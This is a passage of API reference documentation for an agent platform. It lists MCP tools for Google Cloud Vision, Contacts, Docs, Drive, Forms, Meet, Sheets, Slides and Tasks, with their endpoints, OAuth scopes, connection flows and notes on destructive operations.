(read) — List the ProductSets of one project and location, in an unspecified order, page by page. Answers INVALID_ARGUMENT if pageSize is above 100 or below 1 via GET /v1/{+parent}/productSets GET /api/v1/google_cloud_vision/v1/{parent}/productSets. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_get_v1_by_parent_referenceimages (read) — List the reference images of one Product Search product, page by page. Answers NOT_FOUND if the parent product does not exist, and INVALID_ARGUMENT if pageSize is above 100 or below 1 via GET /v1/{+parent}/referenceImages GET /api/v1/google_cloud_vision/v1/{parent}/referenceImages. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_patch_v1_by_name (write) — Change a Product or a ProductSet by its full resource name, naming the fields to change in updateMask. Only displayName, description and productLabels are updatable on a Product, and only displayName on a ProductSet. A label change is not reflected in search results until the next index time. Answers NOT_FOUND if the resource does not exist via PATCH /v1/{+name} PATCH /api/v1/google_cloud_vision/v1/{name}. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_name_addproduct (write) — Add a Product to a ProductSet: the ProductSet is named in the path and the Product's own full resource name goes in the body's `product` field. Adding a Product that is already a member changes nothing; one Product may belong to at most 100 ProductSets. Answers NOT_FOUND if either resource does not exist via POST /v1/{+name}:addProduct POST /api/v1/google_cloud_vision/v1/{name}:addProduct. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_name_cancel (write) — Start asynchronous cancellation of a long-running operation. The server makes a best effort and success is not guaranteed -- poll the operation with the get tool to see whether it was cancelled or finished despite the request. A cancelled operation is not deleted; its error is google.rpc.Code.CANCELLED via POST /v1/{+name}:cancel POST /api/v1/google_cloud_vision/v1/{name}:cancel. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_name_removeproduct (write) — Remove a Product from a ProductSet: the ProductSet is named in the path and the Product's own full resource name goes in the body's `product` field. The Product itself is not deleted and stays in any other ProductSet it belongs to via POST /v1/{+name}:removeProduct POST /api/v1/google_cloud_vision/v1/{name}:removeProduct. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_files_annotate (write) — The same inline file annotation as the unscoped tool (PDF, TIFF and GIF, at most 5 pages or frames per file), pinned to a project and optionally a region via POST /v1/{+parent}/files:annotate POST /api/v1/google_cloud_vision/v1/{parent}/files:annotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_files_asyncbatchannotate (write) — The same asynchronous file annotation as the unscoped tool, pinned to a project and optionally a region. Returns a long-running operation; poll it with the get tool until `done` is true via POST /v1/{+parent}/files:asyncBatchAnnotate POST /api/v1/google_cloud_vision/v1/{parent}/files:asyncBatchAnnotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_images_annotate (write) — The same batch image annotation as the unscoped tool, pinned to a project and optionally a region so the images are processed and billed where you say. Use this when data residency matters; otherwise Google picks a region for you via POST /v1/{+parent}/images:annotate POST /api/v1/google_cloud_vision/v1/{parent}/images:annotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_images_asyncbatchannotate (write) — The same asynchronous batch image annotation as the unscoped tool, pinned to a project and optionally a region. Returns a long-running operation; poll it with the get tool until `done` is true via POST /v1/{+parent}/images:asyncBatchAnnotate POST /api/v1/google_cloud_vision/v1/{parent}/images:asyncBatchAnnotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_products (write) — Create a Product Search product in a project and location. Answers INVALID_ARGUMENT if displayName is missing or longer than 4096 characters, if description is longer than 4096 characters, or if productCategory is missing or not one of Google's supported categories via POST /v1/{+parent}/products POST /api/v1/google_cloud_vision/v1/{parent}/products. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_products_purge (write, destructive) — DESTRUCTIVE AND ASYNCHRONOUS. Delete every Product in one ProductSet, or every Product that belongs to no ProductSet at all, across a project and location -- choose which with the body. A Product that also belongs to OTHER ProductSets is deleted anyway. Returns a long-running operation; leave the named ProductSet and the affected Products alone until it reports done via POST /v1/{+parent}/products:purge POST /api/v1/google_cloud_vision/v1/{parent}/products:purge. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_productsets (write) — Create a ProductSet -- the collection a Product Search query runs against -- in a project and location. Answers INVALID_ARGUMENT if displayName is missing or longer than 4096 characters via POST /v1/{+parent}/productSets POST /api/v1/google_cloud_vision/v1/{parent}/productSets. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_productsets_import (write) — Bulk-import reference images into product sets from a CSV file in Cloud Storage, creating the Products and ProductSets its rows name. Asynchronous: returns a long-running operation whose metadata carries progress and whose response carries one status per input row -- poll it with the get tool and read that response, because individual rows can fail while the operation succeeds via POST /v1/{+parent}/productSets:import POST /api/v1/google_cloud_vision/v1/{parent}/productSets:import. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_by_parent_referenceimages (write) — Add a reference image to a Product Search product: `uri` is a Cloud Storage URI (gs://...) for an image Vision can read. `boundingPolys` is optional -- leave it out and Vision detects the regions of interest that match the parent product's category; supply it and detection is ALWAYS skipped. Polygons are converted to non-rotated rectangles. A reference image cannot be updated after creation via POST /v1/{+parent}/referenceImages POST /api/v1/google_cloud_vision/v1/{parent}/referenceImages. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_files_annotate (write) — Run image detection and annotation over a batch of FILES rather than images and get the results back inline. Only application/pdf, image/tiff and image/gif are supported; Vision extracts at most 5 pages or frames from each file (choose which with the `pages` field of each request) and annotates every image it extracts via POST /v1/files:annotate POST /api/v1/google_cloud_vision/v1/files:annotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_files_asyncbatchannotate (write) — Run detection and annotation over a list of generic files -- PDFs and TIFFs with many pages and many images per page -- in the background, writing results to Cloud Storage. Returns a long-running operation; poll it with the get tool until `done` is true. Unlike the synchronous file tool this is not capped at 5 pages per file via POST /v1/files:asyncBatchAnnotate POST /api/v1/google_cloud_vision/v1/files:asyncBatchAnnotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_images_annotate (write) — Run image detection and annotation over a batch of images and get the results back in the same response. Each entry in `requests` names one image (a Cloud Storage URI, a public URL, or base64 `content`) and the features to run over it -- TEXT_DETECTION and DOCUMENT_TEXT_DETECTION for OCR, LABEL_DETECTION, FACE_DETECTION, LOGO_DETECTION, LANDMARK_DETECTION, OBJECT_LOCALIZATION, SAFE_SEARCH_DETECTION, IMAGE_PROPERTIES, CROP_HINTS, WEB_DETECTION and PRODUCT_SEARCH via POST /v1/images:annotate POST /api/v1/google_cloud_vision/v1/images:annotate. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_post_v1_images_asyncbatchannotate (write) — Run image detection and annotation over a list of images in the background, writing the results as JSON files into a Cloud Storage bucket you name in `outputConfig`. Returns a long-running operation -- poll it with the get tool until `done` is true. Use this instead of the synchronous annotate tool for batches too large or too slow to answer inline via POST /v1/images:asyncBatchAnnotate POST /api/v1/google_cloud_vision/v1/images:asyncBatchAnnotate. Scopes: https://www.googleapis.com/auth/cloud-vision. ================================================================================ ## Google Contacts URL: https://www.agenticfabriq.com/docs/tools-contacts Section: Integrated Tools Google Contacts — 8 MCP tools Provider key: contacts. Scopes: https://www.googleapis.com/auth/contacts, https://www.googleapis.com/auth/contacts.other.readonly, https://www.googleapis.com/auth/contacts.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_contacts_create_contact (write, destructive) — Create a new contact in Google Contacts. Returns the created contact ID. POST /api/v1/tools/google/people/contacts. Scopes: https://www.googleapis.com/auth/contacts. google_contacts_create_group (write, destructive) — Create a new contact group (label). Returns the new group's resource name. POST /api/v1/tools/google/people/groups. Scopes: https://www.googleapis.com/auth/contacts. google_contacts_delete (write, destructive) — Delete a contact. WARNING: This cannot be undone. IMPORTANT: You must first call google_contacts_list to get the resource_name. DELETE /api/v1/tools/google/people/contacts/{resource_name}/delete. Scopes: https://www.googleapis.com/auth/contacts. google_contacts_get (read) — Get details for a specific contact. IMPORTANT: You must first call google_contacts_list to get the resource_name. GET /api/v1/tools/google/people/contacts/{resource_name}. Scopes: https://www.googleapis.com/auth/contacts.readonly. google_contacts_list (read) — List Google Contacts (People API). Returns contact names, emails, and phone numbers. GET /api/v1/tools/google/people/contacts. Scopes: https://www.googleapis.com/auth/contacts.readonly. google_contacts_list_groups (read) — List all contact groups (labels). Returns group names, IDs, and member counts. GET /api/v1/tools/google/people/groups. Scopes: https://www.googleapis.com/auth/contacts.readonly. google_contacts_list_other (read) — List 'Other contacts' - contacts automatically saved from interactions (emails, etc.) but not explicitly added. GET /api/v1/tools/google/people/other-contacts. Scopes: https://www.googleapis.com/auth/contacts.other.readonly. google_contacts_update (write, destructive) — Update an existing contact's information. IMPORTANT: You must first call google_contacts_list to get the resource_name. PATCH /api/v1/tools/google/people/contacts/{resource_name}/update. Scopes: https://www.googleapis.com/auth/contacts. ================================================================================ ## Google Docs URL: https://www.agenticfabriq.com/docs/tools-docs Section: Integrated Tools Google Docs — 8 MCP tools Provider key: docs. Scopes: https://www.googleapis.com/auth/documents, https://www.googleapis.com/auth/documents.readonly, https://www.googleapis.com/auth/drive.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_docs_create (write, destructive) — Create a new Google Docs document. Returns the document ID and URL. POST /api/v1/tools/google/docs/create. Scopes: https://www.googleapis.com/auth/documents. google_docs_delete_content (write, destructive) — Delete content from a Google Doc between start and end indexes. IMPORTANT: You must first call google_docs_get to find the correct index positions. POST /api/v1/tools/google/docs/{document_id}/delete-content. Scopes: https://www.googleapis.com/auth/documents. google_docs_get (read) — Get the content and metadata of a Google Doc. IMPORTANT: You must first call google_docs_list to get the document_id. Do NOT use placeholder values. GET /api/v1/tools/google/docs/{document_id}. Scopes: https://www.googleapis.com/auth/documents.readonly. google_docs_insert_image (write, destructive) — Insert an image into a Google Doc at a specific position. The image must be publicly accessible. IMPORTANT: You must first call google_docs_get to find the insertion index. POST /api/v1/tools/google/docs/{document_id}/insert-image. Scopes: https://www.googleapis.com/auth/documents. google_docs_insert_table (write, destructive) — Insert a table into a Google Doc at a specific position. IMPORTANT: You must first call google_docs_get to find the insertion index. POST /api/v1/tools/google/docs/{document_id}/insert-table. Scopes: https://www.googleapis.com/auth/documents. google_docs_insert_text (write, destructive) — Insert text at a specific position in a Google Doc. IMPORTANT: You must first call google_docs_get to understand the document structure and find the insertion index. POST /api/v1/tools/google/docs/{document_id}/insert-text. Scopes: https://www.googleapis.com/auth/documents. google_docs_list (read) — List Google Docs documents. Returns document IDs, names, and links. GET /api/v1/tools/google/docs/list. Scopes: https://www.googleapis.com/auth/drive.readonly. google_docs_replace_text (write, destructive) — Find and replace text throughout a Google Doc. Replaces all occurrences of the search text. POST /api/v1/tools/google/docs/{document_id}/replace-text. Scopes: https://www.googleapis.com/auth/documents. ================================================================================ ## Google Drive URL: https://www.agenticfabriq.com/docs/tools-drive Section: Integrated Tools Google Drive — 12 MCP tools Provider key: drive. Scopes: https://www.googleapis.com/auth/drive, https://www.googleapis.com/auth/drive.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_drive_copy_file (write, destructive) — Create a copy of a file in Google Drive. IMPORTANT: You must first call google_drive_list_files to get the file_id. POST /api/v1/tools/google/drive/files/{file_id}/copy. Scopes: https://www.googleapis.com/auth/drive. google_drive_create_file (write, destructive) — Create a new file in Google Drive. Returns the created file ID and URL. POST /api/v1/tools/google/drive/create. Scopes: https://www.googleapis.com/auth/drive. google_drive_create_folder (write, destructive) — Create a new folder in Google Drive. Returns the created folder's ID and URL. POST /api/v1/tools/google/drive/folders. Scopes: https://www.googleapis.com/auth/drive. google_drive_delete_file (write, destructive) — Permanently delete a file from Google Drive. WARNING: This cannot be undone. IMPORTANT: You must first call google_drive_list_files to get the file_id. DELETE /api/v1/tools/google/drive/files/{file_id}. Scopes: https://www.googleapis.com/auth/drive. google_drive_download_file (read) — Download a file's content from Google Drive. For Google Docs/Sheets/Slides, exports in the specified format. IMPORTANT: You must first call google_drive_list_files to get the file_id. GET /api/v1/tools/google/drive/files/{file_id}/download. Scopes: https://www.googleapis.com/auth/drive.readonly. google_drive_get_file (read) — Get metadata for a specific file in Google Drive. IMPORTANT: You must first call google_drive_list_files or google_drive_search_files to get the file_id. Do NOT use placeholder values. GET /api/v1/tools/google/drive/files/{file_id}. Scopes: https://www.googleapis.com/auth/drive.readonly. google_drive_list_files (read) — List files in Google Drive. Returns a list of files with their ID, name, and MIME type. GET /api/v1/tools/google/drive/files. Scopes: https://www.googleapis.com/auth/drive.readonly. google_drive_move_file (write) — Move a file to a different folder in Google Drive. IMPORTANT: You must first call google_drive_list_files to get both file_id and folder_id. POST /api/v1/tools/google/drive/files/{file_id}/move. Scopes: https://www.googleapis.com/auth/drive. google_drive_search_files (read) — Search for files in Google Drive using a query string. Returns matching files with their IDs, names, and MIME types. GET /api/v1/tools/google/drive/search. Scopes: https://www.googleapis.com/auth/drive.readonly. google_drive_share_file (write, destructive) — Share a file with a user. You MUST provide the recipient's email address. Example: share_file(file_id='abc123', email='user@example.com', role='reader') POST /api/v1/tools/google/drive/files/{file_id}/share. Scopes: https://www.googleapis.com/auth/drive. google_drive_update_file (write, destructive) — Update a file's metadata in Google Drive (name, description, etc.). IMPORTANT: You must first call google_drive_list_files to get the file_id. PATCH /api/v1/tools/google/drive/files/{file_id}. Scopes: https://www.googleapis.com/auth/drive. google_drive_upload_file (write, destructive) — Upload a file to Google Drive. Returns the uploaded file ID and URL. POST /api/v1/tools/google/drive/upload. Scopes: https://www.googleapis.com/auth/drive. ================================================================================ ## Google Forms URL: https://www.agenticfabriq.com/docs/tools-forms Section: Integrated Tools Google Forms — 9 MCP tools Provider key: forms. Scopes: https://www.googleapis.com/auth/drive.readonly, https://www.googleapis.com/auth/forms.body, https://www.googleapis.com/auth/forms.body.readonly, https://www.googleapis.com/auth/forms.responses.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_forms_add_question (write, destructive) — Add a new question to a form. Supports TEXT, PARAGRAPH, MULTIPLE_CHOICE, CHECKBOX, DROPDOWN, LINEAR_SCALE, DATE, and TIME question types. IMPORTANT: You must first call google_forms_list to get the form_id. POST /api/v1/tools/google/forms/{form_id}/questions. Scopes: https://www.googleapis.com/auth/forms.body. google_forms_create (write, destructive) — Create a new Google Form with a title. Returns the form ID for adding questions. POST /api/v1/tools/google/forms. Scopes: https://www.googleapis.com/auth/forms.body. google_forms_delete_question (write, destructive) — Delete a question from a form. IMPORTANT: You must first call google_forms_get to get the question_id. DELETE /api/v1/tools/google/forms/{form_id}/questions/{question_id}. Scopes: https://www.googleapis.com/auth/forms.body. google_forms_get (read) — Get a Google Form's structure including title, description, and all questions. IMPORTANT: You must first call google_forms_list to get the form_id. GET /api/v1/tools/google/forms/{form_id}. Scopes: https://www.googleapis.com/auth/forms.body.readonly. google_forms_get_response (read) — Get a specific form response by ID. IMPORTANT: You must first call google_forms_list_responses to get the response_id. GET /api/v1/tools/google/forms/{form_id}/responses/{response_id}. Scopes: https://www.googleapis.com/auth/forms.responses.readonly. google_forms_list (read) — List Google Forms. Returns form IDs, names, and links. GET /api/v1/tools/google/forms/list. Scopes: https://www.googleapis.com/auth/drive.readonly. google_forms_list_responses (read) — List all responses to a Google Form. IMPORTANT: You must first call google_forms_list to get the form_id. GET /api/v1/tools/google/forms/{form_id}/responses. Scopes: https://www.googleapis.com/auth/forms.responses.readonly. google_forms_update (write, destructive) — Update a form's title or description. IMPORTANT: You must first call google_forms_list to get the form_id. PATCH /api/v1/tools/google/forms/{form_id}. Scopes: https://www.googleapis.com/auth/forms.body. google_forms_update_question (write, destructive) — Update an existing question's text or required status in a form. IMPORTANT: You must first call google_forms_get to get question IDs. PATCH /api/v1/tools/google/forms/{form_id}/questions/{question_id}. Scopes: https://www.googleapis.com/auth/forms.body. ================================================================================ ## Google Meet URL: https://www.agenticfabriq.com/docs/tools-meet Section: Integrated Tools Google Meet — 4 MCP tools Provider key: meet. Scopes: https://www.googleapis.com/auth/meetings.space.created, https://www.googleapis.com/auth/meetings.space.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_meet_create_space (write, destructive) — Create a new Google Meet meeting space. Returns the meeting URL and details. POST /api/v1/tools/google/meet/spaces. Scopes: https://www.googleapis.com/auth/meetings.space.created. google_meet_get_space (read) — Get details about a Google Meet meeting space including its configuration and state. IMPORTANT: You need the space_id from google_meet_create_space or from the meeting URL. GET /api/v1/tools/google/meet/spaces/{space_id}. Scopes: https://www.googleapis.com/auth/meetings.space.readonly. google_meet_list_participants (read) — List participants of a Google Meet meeting (current or past). IMPORTANT: You need the space_id from the meeting URL or google_meet_create_space. GET /api/v1/tools/google/meet/spaces/{space_id}/participants. Scopes: https://www.googleapis.com/auth/meetings.space.readonly. google_meet_list_recordings (read) — List recordings for a Google Meet meeting space. IMPORTANT: You need the space_id from the meeting URL or google_meet_create_space. GET /api/v1/tools/google/meet/spaces/{space_id}/recordings. Scopes: https://www.googleapis.com/auth/meetings.space.readonly. ================================================================================ ## Google Sheets URL: https://www.agenticfabriq.com/docs/tools-sheets Section: Integrated Tools Google Sheets — 9 MCP tools Provider key: sheets. Scopes: https://www.googleapis.com/auth/drive.readonly, https://www.googleapis.com/auth/spreadsheets, https://www.googleapis.com/auth/spreadsheets.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_sheets_add_sheet (write, destructive) — Add a new sheet/tab to a spreadsheet. IMPORTANT: You must first call google_sheets_list to get the spreadsheet_id. POST /api/v1/tools/google/sheets/{spreadsheet_id}/sheets. Scopes: https://www.googleapis.com/auth/spreadsheets. google_sheets_append_rows (write, destructive) — Append rows of data to the end of a sheet. IMPORTANT: You must first call google_sheets_list to get the spreadsheet_id. POST /api/v1/tools/google/sheets/{spreadsheet_id}/append. Scopes: https://www.googleapis.com/auth/spreadsheets. google_sheets_clear_range (write, destructive) — Clear all values from a specific range in a spreadsheet (keeps formatting). IMPORTANT: You must first call google_sheets_list to get the spreadsheet_id. POST /api/v1/tools/google/sheets/{spreadsheet_id}/clear/{range}. Scopes: https://www.googleapis.com/auth/spreadsheets. google_sheets_create (write, destructive) — Create a new Google Sheets spreadsheet. Returns the spreadsheet ID and URL. POST /api/v1/tools/google/sheets/create. Scopes: https://www.googleapis.com/auth/spreadsheets. google_sheets_delete_sheet (write, destructive) — Delete a sheet/tab from a spreadsheet. WARNING: This cannot be undone. IMPORTANT: You must first call google_sheets_get to get the sheet_id. DELETE /api/v1/tools/google/sheets/{spreadsheet_id}/sheets/{sheet_id}. Scopes: https://www.googleapis.com/auth/spreadsheets. google_sheets_get (read) — Get metadata and sheet names for a Google Sheets spreadsheet. IMPORTANT: You must first call google_sheets_list to get the spreadsheet_id. GET /api/v1/tools/google/sheets/{spreadsheet_id}. Scopes: https://www.googleapis.com/auth/spreadsheets.readonly. google_sheets_list (read) — List Google Sheets spreadsheets. Returns spreadsheet IDs, names, and links. GET /api/v1/tools/google/sheets/list. Scopes: https://www.googleapis.com/auth/drive.readonly. google_sheets_read_range (read) — Read data from a specific range in a Google Sheets spreadsheet. Returns the cell values as a 2D array. IMPORTANT: You must first call google_sheets_list to get the spreadsheet_id. GET /api/v1/tools/google/sheets/{spreadsheet_id}/values/{range}. Scopes: https://www.googleapis.com/auth/spreadsheets.readonly. google_sheets_write_range (write, destructive) — Write data to a specific range in a Google Sheets spreadsheet. IMPORTANT: You must first call google_sheets_list to get the spreadsheet_id and google_sheets_get to verify sheet names. PUT /api/v1/tools/google/sheets/{spreadsheet_id}/values/{range}. Scopes: https://www.googleapis.com/auth/spreadsheets. ================================================================================ ## Google Slides URL: https://www.agenticfabriq.com/docs/tools-slides Section: Integrated Tools Google Slides — 8 MCP tools Provider key: slides. Scopes: https://www.googleapis.com/auth/drive.readonly, https://www.googleapis.com/auth/presentations, https://www.googleapis.com/auth/presentations.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_slides_add_image (write, destructive) — Add an image to a slide at a specified position. The image must be publicly accessible. IMPORTANT: You must first call google_slides_get to get the slide_id. POST /api/v1/tools/google/slides/{presentation_id}/slides/{slide_id}/image. Scopes: https://www.googleapis.com/auth/presentations. google_slides_add_slide (write, destructive) — Add a new slide to a Google Slides presentation. IMPORTANT: You must first call google_slides_list to get the presentation_id. POST /api/v1/tools/google/slides/{presentation_id}/slides. Scopes: https://www.googleapis.com/auth/presentations. google_slides_add_text (write, destructive) — Add a text box with text to a slide at a specified position. IMPORTANT: You must first call google_slides_get to get the slide_id. POST /api/v1/tools/google/slides/{presentation_id}/slides/{slide_id}/text. Scopes: https://www.googleapis.com/auth/presentations. google_slides_create (write, destructive) — Create a new Google Slides presentation. Returns the presentation ID and URL. POST /api/v1/tools/google/slides/create. Scopes: https://www.googleapis.com/auth/presentations. google_slides_delete_slide (write, destructive) — Delete a slide from a Google Slides presentation. WARNING: This cannot be undone. IMPORTANT: You must first call google_slides_get to get the slide_id. DELETE /api/v1/tools/google/slides/{presentation_id}/slides/{slide_id}. Scopes: https://www.googleapis.com/auth/presentations. google_slides_get (read) — Get the content and metadata of a Google Slides presentation including all slides. IMPORTANT: You must first call google_slides_list to get the presentation_id. GET /api/v1/tools/google/slides/{presentation_id}. Scopes: https://www.googleapis.com/auth/presentations.readonly. google_slides_list (read) — List Google Slides presentations. Returns presentation IDs, names, and links. GET /api/v1/tools/google/slides/list. Scopes: https://www.googleapis.com/auth/drive.readonly. google_slides_update_slide (write, destructive) — Update slide properties like background color. IMPORTANT: You must first call google_slides_get to get the slide_id. PATCH /api/v1/tools/google/slides/{presentation_id}/slides/{slide_id}. Scopes: https://www.googleapis.com/auth/presentations. ================================================================================ ## Google Tasks URL: https://www.agenticfabriq.com/docs/tools-tasks Section: Integrated Tools Google Tasks — 9 MCP tools Provider key: tasks. Scopes: https://www.googleapis.com/auth/tasks, https://www.googleapis.com/auth/tasks.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_tasks_complete_task (write) — Mark a task as completed. IMPORTANT: You must first call google_tasks_list_tasks to get the task_id. POST /api/v1/tools/google/tasks/lists/{tasklist_id}/tasks/{task_id}/complete. Scopes: https://www.googleapis.com/auth/tasks. google_tasks_create_task (write, destructive) — Create a new task in Google Tasks. Returns the created task ID. Pass tasklist_id from google_tasks_list to target a specific list — otherwise defaults to '@default'. POST /api/v1/tools/google/tasks. Scopes: https://www.googleapis.com/auth/tasks. google_tasks_create_tasklist (write, destructive) — Create a new task list. Returns the new task list's ID. POST /api/v1/tools/google/tasks/lists. Scopes: https://www.googleapis.com/auth/tasks. google_tasks_delete_task (write, destructive) — Delete a task. WARNING: This cannot be undone. IMPORTANT: You must first call google_tasks_list_tasks to get the task_id. DELETE /api/v1/tools/google/tasks/lists/{tasklist_id}/tasks/{task_id}. Scopes: https://www.googleapis.com/auth/tasks. google_tasks_delete_tasklist (write, destructive) — Delete a task list and all its tasks. WARNING: This cannot be undone. IMPORTANT: You must first call google_tasks_list to get the tasklist_id. DELETE /api/v1/tools/google/tasks/lists/{tasklist_id}. Scopes: https://www.googleapis.com/auth/tasks. google_tasks_get_task (read) — Get details for a specific task. IMPORTANT: You must first call google_tasks_list_tasks to get the task_id. GET /api/v1/tools/google/tasks/lists/{tasklist_id}/tasks/{task_id}. Scopes: https://www.googleapis.com/auth/tasks.readonly. google_tasks_list (read) — List all task lists (not individual tasks). Returns task list IDs and names. GET /api/v1/tools/google/tasks/lists. Scopes: https://www.googleapis.com/auth/tasks.readonly. google_tasks_list_tasks (read) — List tasks within a specific task list. IMPORTANT: You must first call google_tasks_list to get the tasklist_id. GET /api/v1/tools/google/tasks/lists/{tasklist_id}/tasks. Scopes: https://www.googleapis.com/auth/tasks.readonly. google_tasks_update_task (write, destructive) — Update a task's details (title, notes, due date). IMPORTANT: You must first call google_tasks_list_tasks to get the task_id. PATCH /api/v1/tools/google/tasks/lists/{tasklist_id}/tasks/{task_id}. Scopes: https://www.googleapis.com/auth/tasks. ================================================================================ ## Gorgias URL: https://www.agenticfabriq.com/integrations/gorgias Section: Integrated Tools Gorgias — 113 MCP tools Provider key: gorgias. Scopes: account:read, account:write, custom_fields:read, custom_fields:write, customers:read, customers:write, events:read, integrations:read, integrations:write, jobs:read, jobs:write, macros:read, macros:write, rules:read, rules:write, satisfaction_survey:read, satisfaction_survey:write, statistics:read, tags:read, tags:write, tickets:read, tickets:write, users:read, users:write. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gorgias_delete_api_customers (write, destructive) — Delete customers via DELETE /api/customers DELETE 